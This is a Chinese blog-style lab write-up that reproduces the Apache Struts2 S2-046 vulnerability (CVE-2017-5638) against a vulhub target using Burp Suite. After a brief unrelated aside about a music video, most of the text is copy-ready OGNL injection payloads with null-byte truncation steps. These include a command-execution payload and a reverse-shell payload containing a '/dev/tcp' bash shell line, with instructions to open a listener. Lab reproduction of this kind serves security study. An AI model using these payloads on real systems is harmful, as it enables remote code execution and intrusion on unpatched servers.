CVE-2017-5638 S2-046复现

2023-10-19 09:14:04

0X00-引言

《大雨还在下》--高夫，MV非常有魅力，那慢摇的动作，wc，我什么时候可以这么帅，淦

0X01-环境搭建

靶机：CentOS Linux 7

攻击机：windows server 2016 && Kail

环境：vulhub

工具：burpsuite

项目地址：https://github.com/vulhub/vulhub

搭建vulhub请访问：空白centos7 64 搭建vulhub(详细)

0X02-漏洞介绍

This is a different vector for the same vulnerability described in S2-045 (CVE-2017-5638).

相同的漏洞，不同的向量。和S2-045一样原理，利用的字段和方式有点区别

影响版本：Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

0X03-漏洞复现

打开靶场-burpsuite抓包

01-命令执行

POC:

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+99)}\xb

最后b之前00截断

使用burpsuite进行00截断

b之前点击一下空格，选中空格

20改成00

发送到repeater发送

POC2:

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b

操作同上

02-反弹shell

POC：注意IP和port要更改为监听主机的IP和port

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/ip/port 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b

b之前00截断，操作同上

先打开监听